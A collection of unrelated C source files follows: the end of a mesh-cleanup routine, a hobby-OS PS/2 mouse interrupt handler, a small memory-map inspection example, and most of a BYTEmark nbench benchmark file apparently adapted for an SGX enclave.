if (bot->faces)
bu_free(bot->faces, "bot->faces");
bot->faces = (int *)bu_realloc(faces, sizeof(int) * face_count * 3, "bot->faces");
bot->num_faces = face_count;
/* removed unused vertices */
(void)rt_bot_condense(bot);
return edges_deleted;
}
/** @} */
/*
* Local Variables:
* mode: C
* tab-width: 8
* indent-tabs-mode: t
* c-file-style: "stroustrup"
* End:
* ex: shiftwidth=4 tabstop=8
*/
|
32490.c |
#include <screen.h>
#include <irq.h>
#include <sys/io.h>
#include <dev/serial.h>
uint8_t m_buf[4] = {0};
uint8_t m_off = 0 ;
uint64_t m_x = 0;
uint64_t m_y = 0;
/*void draw_at(int x, int y, char r, char g, char b)
{
char *loc = (char *) disp->screen->p_loc;
uint32_t ppl = disp->screen->pix_per_line;
uint32_t x_len = disp->screen->x_len;
int cursor = (y * ppl + x) * 4;
uint32_t size = 30;
for (uint32_t i = 0; i < size; i++) {
for (uint32_t j = 0; j < size; j++) {
loc[cursor + 0] = b;
loc[cursor + 1] = g;
loc[cursor + 2] = r;
loc[cursor + 3] = 0;
cursor += 4;
}
cursor += ((ppl - x_len) + (x_len - size)) * 4;
}
}*/
void irq12_handler(void)
{
uint8_t a = inb(0x60);
if (m_off == 0 && !(a & (1 << 3)))
goto out;
m_buf[m_off++] = a;
m_off %= 3;
if (m_off)
goto out;
if (m_buf[0] & (1 << 6) || m_buf[0] & (1 << 7))
goto out; // overflow, skip
int32_t d_x = m_buf[1];
int32_t d_y = m_buf[2];
if (m_buf[0] & (1 << 4))
d_x |= 0xFFFFFF00;
if (m_buf[0] & (1 << 5))
d_y |= 0xFFFFFF00;
/*my_put_nbr(d_x);
write_serial(' ');
my_put_nbr(d_y);
write_serial('\n');*/
/*draw_at(m_x, m_y, 0, 0, 0);
m_x += d_x;
m_y -= d_y;
if (m_buf[0] & 1)
draw_at(m_x, m_y, 0, 255, 0);
else if (m_buf[0] & 2)
draw_at(m_x, m_y, 0, 0, 255);
else if (m_buf[0] & 4)
draw_at(m_x, m_y, 255, 255, 255);
else
draw_at(m_x, m_y, 255, 0, 0);*/
out:
end_of_interrupt(12);
}
void init_mouse()
{
m_x = disp->screen->x_len / 2;
m_y = disp->screen->y_len / 2;
//my_put_nbr(m_x);
//write_serial('\n');
//my_put_nbr(m_y);
//write_serial('\n');
//draw_at(m_x, m_y, 255, 0, 0);
}
|
831656.c | #include <ignotum.h>
#include <stdlib.h>
#include <stdio.h>
int main(void){
char stack_variable[]="this intead to be in stack\n";
ignotum_mapinfo_t map;
if(ignotum_getmapbyaddr(&map, 0, (off_t)stack_variable)){
printf("stack_variable: %lx, ranges: %lx | %lx, pathname: %s\n", (off_t)stack_variable, map.start_addr, map.end_addr, map.pathname);
free(map.pathname);
}
if(ignotum_getmapbyaddr(&map, 0, (off_t)malloc(0))){
printf("malloc returns data from %s | permissions: %s read: %c, write: %c, exec: %c\n", map.pathname,
map.perms, (map.is_r ? 'y' : 'n'), (map.is_w ? 'y' : 'n'), (map.is_x ? 'y' : 'n'));
free(map.pathname);
}
if(ignotum_getmapbyaddr(&map, 0, (off_t)main)){
printf("main function permissions: %s read: %c, write: %c, exec: %c\n",
map.perms, (map.is_r ? 'y' : 'n'), (map.is_w ? 'y' : 'n'), (map.is_x ? 'y' : 'n'));
free(map.pathname);
}
return 0;
}
|
816110.c |
/*
** nbench1.c
*/
/********************************
** BYTEmark (tm) **
** BYTE NATIVE MODE BENCHMARKS **
** VERSION 2 **
** **
** Included in this source **
** file: **
** Numeric Heapsort **
** String Heapsort **
** Bitfield test **
** Floating point emulation **
** Fourier coefficients **
** Assignment algorithm **
** IDEA Encyption **
** Huffman compression **
** Back prop. neural net **
** LU Decomposition **
** (linear equations) **
** ---------- **
** Rick Grehan, BYTE Magazine **
*********************************
**
** BYTEmark (tm)
** BYTE's Native Mode Benchmarks
** Rick Grehan, BYTE Magazine
**
** Creation:
** Revision: 3/95;10/95
** 10/95 - Removed allocation that was taking place inside
** the LU Decomposition benchmark. Though it didn't seem to
** make a difference on systems we ran it on, it nonetheless
** removes an operating system dependency that probably should
** not have been there.
**
** DISCLAIMER
** The source, executable, and documentation files that comprise
** the BYTEmark benchmarks are made available on an "as is" basis.
** This means that we at BYTE Magazine have made every reasonable
** effort to verify that the there are no errors in the source and
** executable code. We cannot, however, guarantee that the programs
** are error-free. Consequently, McGraw-HIll and BYTE Magazine make
** no claims in regard to the fitness of the source code, executable
** code, and documentation of the BYTEmark.
** Furthermore, BYTE Magazine, McGraw-Hill, and all employees
** of McGraw-Hill cannot be held responsible for any damages resulting
** from the use of this code or the results obtained from using
** this code.
*/
#define N1
#define N2
#define N3
#define N4
#define N5
#define N6
#define N7
#define N8
#define N9
#define N10
/*
** INCLUDES
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "nmglobal.h"
#include "nbench1.h"
#include "wordcat.h"
#include "Enclave_t.h"
#include "basics.h"
#ifdef DEBUG
static int numsort_status=0;
static int stringsort_status=0;
#endif
int sgx_log = 0;
/*********************
** NUMERIC HEAPSORT **
**********************
** This test implements a heapsort algorithm, performed on an
** array of longs.
*/
#ifdef N1
/**************
** DoNumSort **
***************
** This routine performs the CPU numeric sort test.
** NOTE: Last version incorrectly stated that the routine
** returned result in # of longword sorted per second.
** Not so; the routine returns # of iterations per sec.
*/
void DoNumSort(void)
{
SortStruct *numsortstruct; /* Local pointer to global struct */
farlong *arraybase; /* Base pointers of array */
long accumtime; /* Accumulated time */
double iterations; /* Iteration counter */
/*
** Link to global structure
*/
numsortstruct=&global_numsortstruct;
numsortstruct->arraysize = 1000;
numsortstruct->numarrays = 1;
arraybase = (farlong *) malloc (sizeof(long) *
numsortstruct->numarrays * numsortstruct->arraysize);
/*
** All's well if we get here. Repeatedly perform sorts until the
** accumulated elapsed time is greater than # of seconds requested.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoNumSortIteration(arraybase,
numsortstruct->arraysize,
numsortstruct->numarrays);
iterations+=(double)1.0;
} while(TicksToSecs(accumtime)<numsortstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home. Be sure to
** show that we don't have to rerun adjustment code.
*/
free(arraybase);
numsortstruct->sortspersec=iterations *
(double)numsortstruct->numarrays / TicksToFracSecs(accumtime);
return;
}
/***********************
** DoNumSortIteration **
************************
** This routine executes one iteration of the numeric
** sort benchmark. It returns the number of ticks
** elapsed for the iteration.
*/
static ulong DoNumSortIteration(farlong *arraybase,
ulong arraysize,
uint numarrays)
{
long elapsed; /* Elapsed ticks */
ulong i;
/*
** Load up the array with random numbers
*/
LoadNumArrayWithRand(arraybase,arraysize,numarrays);
/*
** Start the stopwatch
*/
elapsed = clock();
/*
** Execute a heap of heapsorts
*/
for(i=0;i<numarrays;i++)
NumHeapSort(arraybase+i*arraysize,0L,arraysize-1L);
/*
** Get elapsed time
*/
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %lld\n", elapsed);
#endif
return(elapsed);
}
/*************************
** LoadNumArrayWithRand **
**************************
** Load up an array with random longs.
*/
static void LoadNumArrayWithRand(farlong *array, /* Pointer to arrays */
ulong arraysize,
uint numarrays) /* # of elements in array */
{
long i; /* Used for index */
farlong *darray; /* Destination array pointer */
/*
** Initialize the random number generator
*/
/* randnum(13L); */
randnum((int32)13);
/*
** Load up first array with randoms
*/
for(i=0L;i<arraysize;i++) {
/* array[i]=randnum(0L); */
array[i]=randnum((int32)0);
}
/*
** Now, if there's more than one array to load, copy the
** first into each of the others.
*/
darray=array;
while(--numarrays)
{ darray+=arraysize;
for(i=0L;i<arraysize;i++)
darray[i]=array[i];
}
return;
}
/****************
** NumHeapSort **
*****************
** Pass this routine a pointer to an array of long
** integers. Also pass in minimum and maximum offsets.
** This routine performs a heap sort on that array.
*/
static void NumHeapSort(farlong *array,
ulong bottom, /* Lower bound */
ulong top) /* Upper bound */
{
ulong temp; /* Used to exchange elements */
ulong i; /* Loop index */
/*
** First, build a heap in the array
*/
for(i=(top/2L); i>0; --i)
NumSift(array,i,top);
/*
** Repeatedly extract maximum from heap and place it at the
** end of the array. When we get done, we'll have a sorted
** array.
*/
for(i=top; i>0; --i)
{ NumSift(array,bottom,i);
temp=*array; /* Perform exchange */
*array=*(array+i);
*(array+i)=temp;
}
return;
}
/************
** NumSift **
*************
** Peforms the sift operation on a numeric array,
** constructing a heap in the array.
*/
static void NumSift(farlong *array, /* Array of numbers */
ulong i, /* Minimum of array */
ulong j) /* Maximum of array */
{
unsigned long k;
long temp; /* Used for exchange */
while((i+i)<=j)
{
k=i+i;
if(k<j)
if(array[k]<array[k+1L])
++k;
if(array[i]<array[k])
{
temp=array[k];
array[k]=array[i];
array[i]=temp;
i=k;
}
else
i=j+1;
}
return;
}
#endif
#ifdef N2
/********************
** STRING HEAPSORT **
********************/
/*****************
** DoStringSort **
******************
** This routine performs the CPU string sort test.
** Arguments:
** requested_secs = # of seconds to execute test
** stringspersec = # of strings per second sorted (RETURNED)
*/
void DoStringSort(void)
{
SortStruct *strsortstruct; /* Local for sort structure */
faruchar *arraybase; /* Base pointer of char array */
long accumtime; /* Accumulated time */
double iterations; /* # of iterations */
int systemerror; /* For holding error code */
/*
** Link to global structure
*/
strsortstruct=&global_strsortstruct;
/*
** We don't have to perform self adjustment code.
** Simply allocate the space for the array.
*/
strsortstruct->arraysize = 1000;
strsortstruct->numarrays = 1;
arraybase = (faruchar *) malloc((strsortstruct->arraysize + 100L) * (long) strsortstruct->numarrays);
/*
** All's well if we get here. Repeatedly perform sorts until the
** accumulated elapsed time is greater than # of seconds requested.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoStringSortIteration(arraybase,
strsortstruct->numarrays,
strsortstruct->arraysize);
iterations+=(double)strsortstruct->numarrays;
} while(TicksToSecs(accumtime)<strsortstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home.
** Set flag to show we don't need to rerun adjustment code.
*/
free((farvoid *) arraybase);
strsortstruct->sortspersec=iterations / (double)TicksToFracSecs(accumtime);
return;
}
/**************************
** DoStringSortIteration **
***************************
** This routine executes one iteration of the string
** sort benchmark. It returns the number of ticks
** Note that this routine also builds the offset pointer
** array.
*/
static ulong DoStringSortIteration(faruchar *arraybase,
uint numarrays,ulong arraysize)
{
farulong *optrarray; /* Offset pointer array */
long elapsed; /* Elapsed ticks */
unsigned long nstrings; /* # of strings in array */
int syserror; /* System error code */
unsigned int i; /* Index */
farulong *tempobase; /* Temporary offset pointer base */
faruchar *tempsbase; /* Temporary string base pointer */
int k;
int tot;
/*
** Load up the array(s) with random numbers
*/
optrarray=LoadStringArray(arraybase,numarrays,&nstrings,arraysize);
/*printf("array: \n");
tot = 0;
for (k = 0; k < nstrings; k++) {
int a = *(arraybase+*(optrarray + k));
printf("%d ", a);
tot += a;
if (tot > arraysize)
break;
}
printf("\n");*/
/*
** Set temp base pointers...they will be modified as the
** benchmark proceeds.
*/
tempobase=optrarray;
tempsbase=arraybase;
/*
** Start the stopwatch
*/
//password
elapsed = clock();
/*
** Execute heapsorts
*/
for(i=0;i<numarrays;i++)
{
StrHeapSort(tempobase,tempsbase,nstrings,0L,nstrings-1);
tempobase+=nstrings; /* Advance base pointers */
tempsbase+=arraysize+100;
}
/*
** Record elapsed time
*/
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
/*
** Release the offset pointer array built by
** LoadStringArray()
*/
free((farvoid *) optrarray);
/*
** Return elapsed ticks.
*/
return(elapsed);
}
/********************
** LoadStringArray **
*********************
** Initialize the string array with random strings of
** varying sizes.
** Returns the pointer to the offset pointer array.
** Note that since we're creating a number of arrays, this
** routine builds one array, then copies it into the others.
*/
static farulong *LoadStringArray(faruchar *strarray, /* String array */
uint numarrays, /* # of arrays */
ulong *nstrings, /* # of strings */
ulong arraysize) /* Size of array */
{
faruchar *tempsbase; /* Temporary string base pointer */
farulong *optrarray; /* Local for pointer */
farulong *tempobase; /* Temporary offset pointer base pointer */
unsigned long curroffset; /* Current offset */
int fullflag; /* Indicates full array */
unsigned char stringlength; /* Length of string */
unsigned char i; /* Index */
unsigned long j; /* Another index */
unsigned int k; /* Yet another index */
unsigned int l; /* Ans still one more index */
int systemerror; /* For holding error code */
/*
** Initialize random number generator.
*/
/* randnum(13L); */
randnum((int32)13);
/*
** Start with no strings. Initialize our current offset pointer
** to 0.
*/
*nstrings=0L;
curroffset=0L;
fullflag=0;
do
{
/*
** Allocate a string with a random length no
** shorter than 4 bytes and no longer than
** 80 bytes. Note we have to also make sure
** there's room in the array.
*/
/* stringlength=(unsigned char)((1+abs_randwc(76L)) & 0xFFL);*/
stringlength=(unsigned char)((1+abs_randwc((int32)76)) & 0xFFL);
if((unsigned long)stringlength+curroffset+1L>=arraysize)
{ stringlength=(unsigned char)((arraysize-curroffset-1L) &
0xFF);
fullflag=1; /* Indicates a full */
}
/*
** Store length at curroffset and advance current offset.
*/
*(strarray+curroffset)=stringlength;
curroffset++;
/*
** Fill up the rest of the string with random bytes.
*/
for(i=0;i<stringlength;i++)
{ *(strarray+curroffset)=
/* (unsigned char)(abs_randwc((long)0xFE)); */
(unsigned char)(abs_randwc((int32)0xFE));
curroffset++;
}
/*
** Increment the # of strings counter.
*/
*nstrings+=1L;
} while(fullflag==0);
/*
** We now have initialized a single full array. If there
** is more than one array, copy the original into the
** others.
*/
k=1;
tempsbase=strarray;
while(k<numarrays)
{ tempsbase+=arraysize+100; /* Set base */
for(l=0;l<arraysize;l++)
tempsbase[l]=strarray[l];
k++;
}
/*
** Now the array is full, allocate enough space for an
** offset pointer array.
*/
optrarray=(farulong *)malloc(*nstrings * sizeof(unsigned long) *
numarrays);
/*
** Go through the newly-built string array, building
** offsets and putting them into the offset pointer
** array.
*/
curroffset=0;
for(j=0;j<*nstrings;j++)
{ *(optrarray+j)=curroffset;
curroffset+=(unsigned long)(*(strarray+curroffset))+1L;
}
/*
** As above, we've made one copy of the offset pointers,
** so duplicate this array in the remaining ones.
*/
k=1;
tempobase=optrarray;
while(k<numarrays)
{ tempobase+=*nstrings;
for(l=0;l<*nstrings;l++)
tempobase[l]=optrarray[l];
k++;
}
/*
** All done...go home. Pass local pointer back.
*/
return(optrarray);
}
/**************
** stradjust **
***************
** Used by the string heap sort. Call this routine to adjust the
** string at offset i to length l. The members of the string array
** are moved accordingly and the length of the string at offset i
** is set to l.
*/
static void stradjust(farulong *optrarray, /* Offset pointer array */
faruchar *strarray, /* String array */
ulong nstrings, /* # of strings */
ulong i, /* Offset to adjust */
uchar l) /* New length */
{
unsigned long nbytes; /* # of bytes to move */
unsigned long j; /* Index */
int direction; /* Direction indicator */
unsigned char adjamount; /* Adjustment amount */
/*
** If new length is less than old length, the direction is
** down. If new length is greater than old length, the
** direction is up.
*/
direction=(int)l - (int)*(strarray+*(optrarray+i));
adjamount=(unsigned char)abs(direction);
/*
** See if the adjustment is being made to the last
** string in the string array. If so, we don't have to
** do anything more than adjust the length field.
*/
if(i==(nstrings-1L))
{ *(strarray+*(optrarray+i))=l;
return;
}
/*
** Calculate the total # of bytes in string array from
** location i+1 to end of array. Whether we're moving "up" or
** down, this is how many bytes we'll have to move.
*/
nbytes=*(optrarray+nstrings-1L) +
(unsigned long)*(strarray+*(optrarray+nstrings-1L)) + 1L -
*(optrarray+i+1L);
/*
** Calculate the source and the destination. Source is
** string position i+1. Destination is string position i+l
** (i+"ell"...don't confuse 1 and l).
** Hand this straight to memmove and let it handle the
** "overlap" problem.
*/
memmove((farvoid *)(strarray+*(optrarray+i)+l+1),
(farvoid *)(strarray+*(optrarray+i+1)),
(unsigned long)nbytes);
/*
** We have to adjust the offset pointer array.
** This covers string i+1 to numstrings-1.
*/
for(j=i+1;j<nstrings;j++)
if(direction<0)
*(optrarray+j)=*(optrarray+j)-adjamount;
else
*(optrarray+j)=*(optrarray+j)+adjamount;
/*
** Store the new length and go home.
*/
*(strarray+*(optrarray+i))=l;
return;
}
/****************
** strheapsort **
*****************
** Pass this routine a pointer to an array of unsigned char.
** The array is presumed to hold strings occupying at most
** 80 bytes (counts a byte count).
** This routine also needs a pointer to an array of offsets
** which represent string locations in the array, and
** an unsigned long indicating the number of strings
** in the array.
*/
static void StrHeapSort(farulong *optrarray, /* Offset pointers */
faruchar *strarray, /* Strings array */
ulong numstrings, /* # of strings in array */
ulong bottom, /* Region to sort...bottom */
ulong top) /* Region to sort...top */
{
unsigned char temp[80]; /* Used to exchange elements */
unsigned char tlen; /* Temp to hold length */
unsigned long i; /* Loop index */
/*
** Build a heap in the array
*/
for(i=(top/2L); i>0; --i)
strsift(optrarray,strarray,numstrings,i,top);
/*
** Repeatedly extract maximum from heap and place it at the
** end of the array. When we get done, we'll have a sorted
** array.
*/
for(i=top; i>0; --i)
{
strsift(optrarray,strarray,numstrings,0,i);
/* temp = string[0] */
tlen=*strarray;
memmove((farvoid *)&temp[0], /* Perform exchange */
(farvoid *)strarray,
(unsigned long)(tlen+1));
/* string[0]=string[i] */
tlen=*(strarray+*(optrarray+i));
stradjust(optrarray,strarray,numstrings,0,tlen);
memmove((farvoid *)strarray,
(farvoid *)(strarray+*(optrarray+i)),
(unsigned long)(tlen+1));
/* string[i]=temp */
tlen=temp[0];
stradjust(optrarray,strarray,numstrings,i,tlen);
memmove((farvoid *)(strarray+*(optrarray+i)),
(farvoid *)&temp[0],
(unsigned long)(tlen+1));
}
return;
}
/****************
** str_is_less **
*****************
** Pass this function:
** 1) A pointer to an array of offset pointers
** 2) A pointer to a string array
** 3) The number of elements in the string array
** 4) Offsets to two strings (a & b)
** This function returns TRUE if string a is < string b.
*/
static int str_is_less(farulong *optrarray, /* Offset pointers */
faruchar *strarray, /* String array */
ulong numstrings, /* # of strings */
ulong a, ulong b) /* Offsets */
{
int slen; /* String length */
/*
** Determine which string has the minimum length. Use that
** to call strncmp(). If they match up to that point, the
** string with the longer length wins.
*/
slen=(int)*(strarray+*(optrarray+a));
if(slen > (int)*(strarray+*(optrarray+b)))
slen=(int)*(strarray+*(optrarray+b));
slen=strncmp((char *)(strarray+*(optrarray+a)),
(char *)(strarray+*(optrarray+b)),slen);
if(slen==0)
{
/*
** They match. Return true if the length of a
** is greater than the length of b.
*/
if(*(strarray+*(optrarray+a)) >
*(strarray+*(optrarray+b)))
return(TRUE);
return(FALSE);
}
if(slen<0) return(TRUE); /* a is strictly less than b */
return(FALSE); /* Only other possibility */
}
/************
** strsift **
*************
** Pass this function:
** 1) A pointer to an array of offset pointers
** 2) A pointer to a string array
** 3) The number of elements in the string array
** 4) Offset within which to sort.
** Sift the array within the bounds of those offsets (thus
** building a heap).
*/
static void strsift(farulong *optrarray, /* Offset pointers */
faruchar *strarray, /* String array */
ulong numstrings, /* # of strings */
ulong i, ulong j) /* Offsets */
{
unsigned long k; /* Temporaries */
unsigned char temp[80];
unsigned char tlen; /* For string lengths */
while((i+i)<=j)
{
k=i+i;
tlen=*(strarray+*(optrarray+k));
if(k<j)
if(str_is_less(optrarray,strarray,numstrings,k,k+1L))
++k;
if(str_is_less(optrarray,strarray,numstrings,i,k))
{
/* temp=string[k] */
tlen=*(strarray+*(optrarray+k));
memmove((farvoid *)&temp[0],
(farvoid *)(strarray+*(optrarray+k)),
(unsigned long)(tlen+1));
/* string[k]=string[i] */
tlen=*(strarray+*(optrarray+i));
stradjust(optrarray,strarray,numstrings,k,tlen);
memmove((farvoid *)(strarray+*(optrarray+k)),
(farvoid *)(strarray+*(optrarray+i)),
(unsigned long)(tlen+1));
/* string[i]=temp */
tlen=temp[0];
stradjust(optrarray,strarray,numstrings,i,tlen);
memmove((farvoid *)(strarray+*(optrarray+i)),
(farvoid *)&temp[0],
(unsigned long)(tlen+1));
i=k;
}
else
i=j+1;
}
return;
}
#endif
#ifdef N3
/************************
** BITFIELD OPERATIONS **
*************************/
/*************
** DoBitops **
**************
** Perform the bit operations test portion of the CPU
** benchmark. Returns the iterations per second.
*/
void DoBitops(void)
{
BitOpStruct *locbitopstruct; /* Local bitop structure */
farulong *bitarraybase; /* Base of bitmap array */
farulong *bitoparraybase; /* Base of bitmap operations array */
ulong nbitops; /* # of bitfield operations */
ulong accumtime; /* Accumulated time in ticks */
double iterations; /* # of iterations */
int systemerror; /* For holding error codes */
int ticks;
/*
** Link to global structure.
*/
locbitopstruct=&global_bitopstruct;
locbitopstruct->bitoparraysize = 3;
locbitopstruct->bitfieldarraysize = 200;
/*
** Don't need to do self adjustment, just allocate
** the array space.
*/
bitarraybase=(farulong *)malloc(locbitopstruct->bitfieldarraysize * sizeof(ulong));
bitoparraybase=(farulong *)malloc(locbitopstruct->bitoparraysize * 2L * sizeof(ulong));
/*
** All's well if we get here. Repeatedly perform bitops until the
** accumulated elapsed time is greater than # of seconds requested.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoBitfieldIteration(bitarraybase,
bitoparraybase,
locbitopstruct->bitoparraysize,&nbitops);
iterations+=(double)nbitops;
} while(TicksToSecs(accumtime)<locbitopstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home.
** Also, set adjustment flag to show that we don't have
** to do self adjusting in the future.
*/
free((farvoid *)bitarraybase);
free((farvoid *)bitoparraybase);
locbitopstruct->bitopspersec=iterations /TicksToFracSecs(accumtime);
return;
}
/************************
** DoBitfieldIteration **
*************************
** Perform a single iteration of the bitfield benchmark.
** Return the # of ticks accumulated by the operation.
*/
static ulong DoBitfieldIteration(farulong *bitarraybase,
farulong *bitoparraybase,
long bitoparraysize,
ulong *nbitops)
{
long i; /* Index */
ulong bitoffset; /* Offset into bitmap */
long elapsed; /* Time to execute */
/*
** Clear # bitops counter
*/
*nbitops=0L;
/*
** Construct a set of bitmap offsets and run lengths.
** The offset can be any random number from 0 to the
** size of the bitmap (in bits). The run length can
** be any random number from 1 to the number of bits
** between the offset and the end of the bitmap.
** Note that the bitmap has 8192 * 32 bits in it.
** (262,144 bits)
*/
/*
** Reset random number generator so things repeat.
** Also reset the bit array we work on.
** added by Uwe F. Mayer
*/
//randnum((int32)13);
for (i=0;i<global_bitopstruct.bitfieldarraysize;i++)
{
#ifdef LONG64
*(bitarraybase+i)=(ulong)0x5555555555555555;
#else
*(bitarraybase+i)=(ulong)0x55555555;
#endif
}
randnum((int32)13);
/* end of addition of code */
for (i=0;i<bitoparraysize;i++)
{
/* First item is offset */
/* *(bitoparraybase+i+i)=bitoffset=abs_randwc(262140L); */
*(bitoparraybase+i+i)=bitoffset=abs_randwc((int32)262140);
/* Next item is run length */
/* *nbitops+=*(bitoparraybase+i+i+1L)=abs_randwc(262140L-bitoffset);*/
*nbitops+=*(bitoparraybase+i+i+1L)=abs_randwc((int32)262140-bitoffset);
}
/*
** Array of offset and lengths built...do an iteration of
** the test.
** Start the stopwatch.
*/
elapsed = clock();
/*
** Loop through array off offset/run length pairs.
** Execute operation based on modulus of index.
*/
for(i=0;i<bitoparraysize;i++)
{
switch(i % 3)
{
case 0: /* Set run of bits */
ToggleBitRun(bitarraybase,
*(bitoparraybase+i+i),
*(bitoparraybase+i+i+1),
1);
break;
case 1: /* Clear run of bits */
ToggleBitRun(bitarraybase,
*(bitoparraybase+i+i),
*(bitoparraybase+i+i+1),
0);
break;
case 2: /* Complement run of bits */
FlipBitRun(bitarraybase,
*(bitoparraybase+i+i),
*(bitoparraybase+i+i+1));
break;
}
}
/*
** Return elapsed time
*/
elapsed = clock() - elapsed;
if (sgx_log) printf("elapsed: %ld\n", elapsed);
return elapsed;
}
/*****************************
** ToggleBitRun *
******************************
** Set or clear a run of nbits starting at
** bit_addr in bitmap.
*/
static void ToggleBitRun(farulong *bitmap, /* Bitmap */
ulong bit_addr, /* Address of bits to set */
ulong nbits, /* # of bits to set/clr */
uint val) /* 1 or 0 */
{
unsigned long bindex; /* Index into array */
unsigned long bitnumb; /* Bit number */
while(nbits--)
{
bindex=bit_addr>>6; /* Index is number /64 */
bitnumb=bit_addr % 64; /* Bit number in word */
if(val)
bitmap[bindex]|=(1L<<bitnumb);
else
bitmap[bindex]&=~(1L<<bitnumb);
bit_addr++;
}
return;
}
/***************
** FlipBitRun **
****************
** Complements a run of bits.
*/
static void FlipBitRun(farulong *bitmap, /* Bit map */
ulong bit_addr, /* Bit address */
ulong nbits) /* # of bits to flip */
{
unsigned long bindex; /* Index into array */
unsigned long bitnumb; /* Bit number */
while(nbits--)
{
#ifdef LONG64
bindex=bit_addr>>6; /* Index is number /64 */
bitnumb=bit_addr % 64; /* Bit number in longword */
#else
bindex=bit_addr>>5; /* Index is number /32 */
bitnumb=bit_addr % 32; /* Bit number in longword */
#endif
bitmap[bindex]^=(1L<<bitnumb);
bit_addr++;
}
return;
}
#endif
#ifdef N4
/*****************************
** FLOATING-POINT EMULATION **
*****************************/
/**************
** DoEmFloat **
***************
** Perform the floating-point emulation routines portion of the
** CPU benchmark. Returns the operations per second.
*/
void DoEmFloat(void)
{
EmFloatStruct *locemfloatstruct; /* Local structure */
InternalFPF *abase; /* Base of A array */
InternalFPF *bbase; /* Base of B array */
InternalFPF *cbase; /* Base of C array */
ulong accumtime; /* Accumulated time in ticks */
double iterations; /* # of iterations */
ulong tickcount; /* # of ticks */
int systemerror; /* For holding error code */
ulong loops; /* # of loops */
/*
** Link to global structure
*/
locemfloatstruct=&global_emfloatstruct;
/*
** Test the emulation routines.
*/
#ifdef DEBUG
#endif
locemfloatstruct->arraysize = 1000;
locemfloatstruct->loops = 1;
abase = (InternalFPF *)malloc(locemfloatstruct->arraysize*sizeof(InternalFPF));
bbase=(InternalFPF *)malloc(locemfloatstruct->arraysize*sizeof(InternalFPF));
cbase=(InternalFPF *)malloc(locemfloatstruct->arraysize*sizeof(InternalFPF));
/*
** Set up the arrays
*/
SetupCPUEmFloatArrays(abase,bbase,cbase,locemfloatstruct->arraysize);
/*
** All's well if we get here. Repeatedly perform floating
** tests until the accumulated time is greater than the
** # of seconds requested.
** Each iteration performs arraysize * 3 operations.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoEmFloatIteration(abase,bbase,cbase,
locemfloatstruct->arraysize,
locemfloatstruct->loops);
iterations+=(double)1.0;
} while(TicksToSecs(accumtime)<locemfloatstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home.
** Also, indicate that adjustment is done.
*/
free((farvoid *)abase);
free((farvoid *)bbase);
free((farvoid *)cbase);
locemfloatstruct->emflops=(iterations*(double)locemfloatstruct->loops)/
(double)TicksToFracSecs(accumtime);
return;
}
#endif
#ifdef N5
/*************************
** FOURIER COEFFICIENTS **
*************************/
/**************
** DoFourier **
***************
** Perform the transcendental/trigonometric portion of the
** benchmark. This benchmark calculates the first n
** fourier coefficients of the function (x+1)^x defined
** on the interval 0,2.
*/
void DoFourier(void)
{
FourierStruct *locfourierstruct; /* Local fourier struct */
fardouble *abase; /* Base of A[] coefficients array */
fardouble *bbase; /* Base of B[] coefficients array */
unsigned long accumtime; /* Accumulated time in ticks */
double iterations; /* # of iterations */
int systemerror; /* For error code */
/*
** Link to global structure
*/
locfourierstruct=&global_fourierstruct;
/*
** See if we need to do self-adjustment code.
*/
locfourierstruct->arraysize=100L; /* Start at 100 elements */
/*
** Don't need self-adjustment. Just allocate the
** arrays, and go.
*/
abase=(fardouble *)malloc(locfourierstruct->arraysize*sizeof(double));
bbase=(fardouble *)malloc(locfourierstruct->arraysize*sizeof(double));
#ifdef DEBUG
printf("arraysize: %d\n", locfourierstruct->arraysize);
#endif
/*
** All's well if we get here. Repeatedly perform integration
** tests until the accumulated time is greater than the
** # of seconds requested.
*/
accumtime=0L;
iterations=(double)0.0;
do {
accumtime+=DoFPUTransIteration(abase,bbase,locfourierstruct->arraysize);
iterations+=(double)locfourierstruct->arraysize*(double)2.0-(double)1.0;
} while(TicksToSecs(accumtime)<locfourierstruct->request_secs);
printf("%lf\n", iterations);
/*
** Clean up, calculate results, and go home.
** Also set adjustment flag to indicate no adjust code needed.
*/
free((farvoid *)abase);
free((farvoid *)bbase);
locfourierstruct->fflops=iterations/(double)TicksToFracSecs(accumtime);
return;
}
/************************
** DoFPUTransIteration **
*************************
** Perform an iteration of the FPU Transcendental/trigonometric
** benchmark. Here, an iteration consists of calculating the
** first n fourier coefficients of the function (x+1)^x on
** the interval 0,2. n is given by arraysize.
** NOTE: The # of integration steps is fixed at
** 200.
*/
static ulong DoFPUTransIteration(fardouble *abase, /* A coeffs. */
fardouble *bbase, /* B coeffs. */
ulong arraysize) /* # of coeffs */
{
double omega; /* Fundamental frequency */
unsigned long i; /* Index */
long elapsed; /* Elapsed time */
/*
** Start the stopwatch
*/
elapsed = clock();
/*
** Calculate the fourier series. Begin by
** calculating A[0].
*/
*abase=TrapezoidIntegrate((double)0.0,
(double)2.0,
200,
(double)0.0, /* No omega * n needed */
0 )/(double)2.0;
/*
** Calculate the fundamental frequency.
** ( 2 * pi ) / period...and since the period
** is 2, omega is simply pi.
*/
omega=(double)3.1415926535897932;
for(i=1;i<arraysize;i++)
{
/*
** Calculate A[i] terms. Note, once again, that we
** can ignore the 2/period term outside the integral
** since the period is 2 and the term cancels itself
** out.
*/
*(abase+i)=TrapezoidIntegrate((double)0.0,
(double)2.0,
200,
omega * (double)i,
1);
/*
** Calculate the B[i] terms.
*/
*(bbase+i)=TrapezoidIntegrate((double)0.0,
(double)2.0,
200,
omega * (double)i,
2);
}
/*
** All done, stop the stopwatch
*/
elapsed = clock() - elapsed;
#ifdef DEBUG
if (sgx_log) printf("elapsed: %ld\n", elapsed);
#endif
return elapsed;
//return(StopStopwatch(elapsed));
}
/***********************
** TrapezoidIntegrate **
************************
** Perform a simple trapezoid integration on the
** function (x+1)**x.
